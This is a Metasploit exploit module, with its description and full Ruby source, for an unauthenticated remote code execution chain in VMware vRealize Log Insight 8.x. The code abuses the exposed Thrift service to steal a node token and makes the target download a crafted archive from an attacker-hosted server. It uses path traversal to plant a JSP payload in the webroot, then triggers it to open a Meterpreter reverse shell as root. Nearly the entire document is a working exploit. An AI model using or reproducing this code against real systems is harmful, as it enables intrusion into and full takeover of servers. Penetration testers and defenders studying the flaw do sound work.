Headline
VMware vRealize Log Insight Unauthenticated Remote Code Execution
VMware vRealize Log Insights versions 8.x contain multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This Metasploit module achieves code execution via triggering a RemotePakDownloadCommand command via the exposed thrift service after obtaining the node token by calling a GetConfigRequest thrift command. After the download, it will trigger a PakUpgradeCommand for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/proto/thrift'require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::CmdStager::HTTP include Msf::Exploit::Retry include Msf::Exploit::FileDropper # includes register_files_for_cleanup prepend Msf::Exploit::Remote::AutoCheck Thrift = Rex::Proto::Thrift def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vRealize Log Insight Unauthenticated RCE', 'Description' => %q{ VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This module achieves code execution via triggering a `RemotePakDownloadCommand` command via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest` thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Horizon3.ai Attack Team', # Original POC & analysis 'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module ], 'References' => [ ['ZDI', '23-116'], ['ZDI', '23-115'], ['CVE', '2022-31706'], ['CVE', '2022-31704'], ['CVE', '2022-31711'], ['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'], ], 'DisclosureDate' => '2023-01-24', 'Platform' => %w[unix linux], 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'VMware vRealize Log Insight < v8.10.2', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true } } ] ], 'DefaultTarget' => 0, 'Payload' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(443), OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]), OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]), OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/']) ] ) register_advanced_options( [ OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]), OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ]) ] ) end def check print_status "Checking if #{peer} can be exploited." res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'i18n', 'component'), 'method' => 'GET' }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, '')) return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version') version = Rex::Version.new(translation['version']) if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}") end Exploit::CheckCode::Safe end def generate_malicious_tar mf_file = <<~EOF.strip { "CHECKSUMS": [ { "CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '} "FILE_NAME": "eula.txt" },#{' '} { "CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '} "FILE_NAME": "cn_eula.txt" },#{' '} { "CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '} "FILE_NAME": "de_eula.txt" },#{' '} { "CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '} "FILE_NAME": "es_eula.txt" },#{' '} { "CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '} "FILE_NAME": "fr_eula.txt" },#{' '} { "CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '} "FILE_NAME": "ja_eula.txt" },#{' '} { "CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '} "FILE_NAME": "ko_eula.txt" },#{' '} { "CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '} "FILE_NAME": "tw_eula.txt" },#{' '} { "CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '} "FILE_NAME": "upgrade-driver" },#{' '} { "CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '} "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm" } ],#{' '} "FROM_VERSION": "8.8.0-0",#{' '} "REQUIRED_SPACE": "1073741824",#{' '} "RPM_INFO": { "KEY_LIST": [],#{' '} "REBOOT": "False",#{' '} "RPM_LIST": [ { "ARGUMENTS": [ "--nodeps" ],#{' '} "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '} "OPTION": "INSTALL_OR_UPGRADE" } ] },#{' '} "TO_VERSION": "8.10.2-21145187" } EOF cert_file = <<~CERT SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776 -----BEGIN CERTIFICATE----- MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw 9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb 4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay 9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69 i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0 IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG vSqQGIbCybw5KTCXRQ8d -----END CERTIFICATE----- CERT # Generate a TAR archive with dir traversal... print_status 'Encoding the payload as JSP' payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe) jsp_name = 'api-v5-documentation.jsp' # version number can be randomized slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}" register_files_for_cleanup(slip_name.gsub('../..', '')) rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| dummy_files.each do |dum| t.add_file(dum, 0o644) do |f| f.write(rand_data) end end t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files crt.write(cert_file) end t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf| mf.write(mf_file) end t.add_file(slip_name, 0o644) do |f| f.write(payload_jsp) end end tar.seek(0) data = tar.read tar.close data end def on_request_uri(cli, _request) payload_tar = generate_malicious_tar print_status "Malicious TAR payload created (#{payload_tar.length} bytes)" print_good("Payload requested by #{peer}, sending...") @got_request = true send_response(cli, payload_tar) end def exploit # This is important check... fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ # Step 1 generate malicious TAR archive file_name = Rex::Text.rand_text_alpha(7) pak_name = "#{file_name}.pak" output_file = '/dev/null' register_files_for_cleanup("/tmp/#{pak_name}") print_status('Starting Payload Server') start_service('Path' => "/#{file_name}.tar") # Connect to the Apache Thrift service @tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT']) fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil? # Step 2 obtain node token print_status 'Fetching thrift config...' send_request([ Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL) ].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00") config = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil? token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty? print_good "Obtained node token: #{token}" print_status 'Sending getNodeType...' send_request([ Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL) ].map(&:to_binary_s).join + "\x00") # Step 3 download the malicious pak serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" print_status 'Sending RemotePakDownloadCommand...' download_pak_req = "\x80\x01\x00\x01" download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c" download_pak_req += "\x00\x0a\x0b\x00\x01" download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02" download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00" download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00" send_request(download_pak_req) download_resp = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil? retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do @got_request end # Step 4 trigger pak upgrade print_status 'Sending PakUpgradeCommand...' pak_upgrade_req = "\x80\x01\x00\x01" pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c" pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N') pak_upgrade_req += pak_name + "\x02\x00\x02\x00" pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file pak_upgrade_req += "\x02\x00\x04\x00" pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65" pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00" pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00" pak_upgrade_req += "\x00\x07\xd0\x00\x00" send_request(pak_upgrade_req) upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT']) fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted' print_good 'PakUpgrade request is successful' print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..." sleep(datastore['WaitForUpgradeDuration']) # Step 5 trigger the JSP payload. print_status "#{peer} - Triggering JSP payload..." disconnect res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'), 'method' => 'GET' }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 end def send_request(request) @tsock.put([request.length].pack('N') + request) end def recv_response(timeout) remaining = timeout res_size, elapsed = Rex::Stopwatch.elapsed_time do @tsock.timed_read(4, remaining) end remaining -= elapsed return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 res = @tsock.timed_read(res_size.unpack1('N'), remaining) return nil if res.nil? || res.length != res_size.unpack1('N') return res_size + res rescue Timeout::Error return nil endend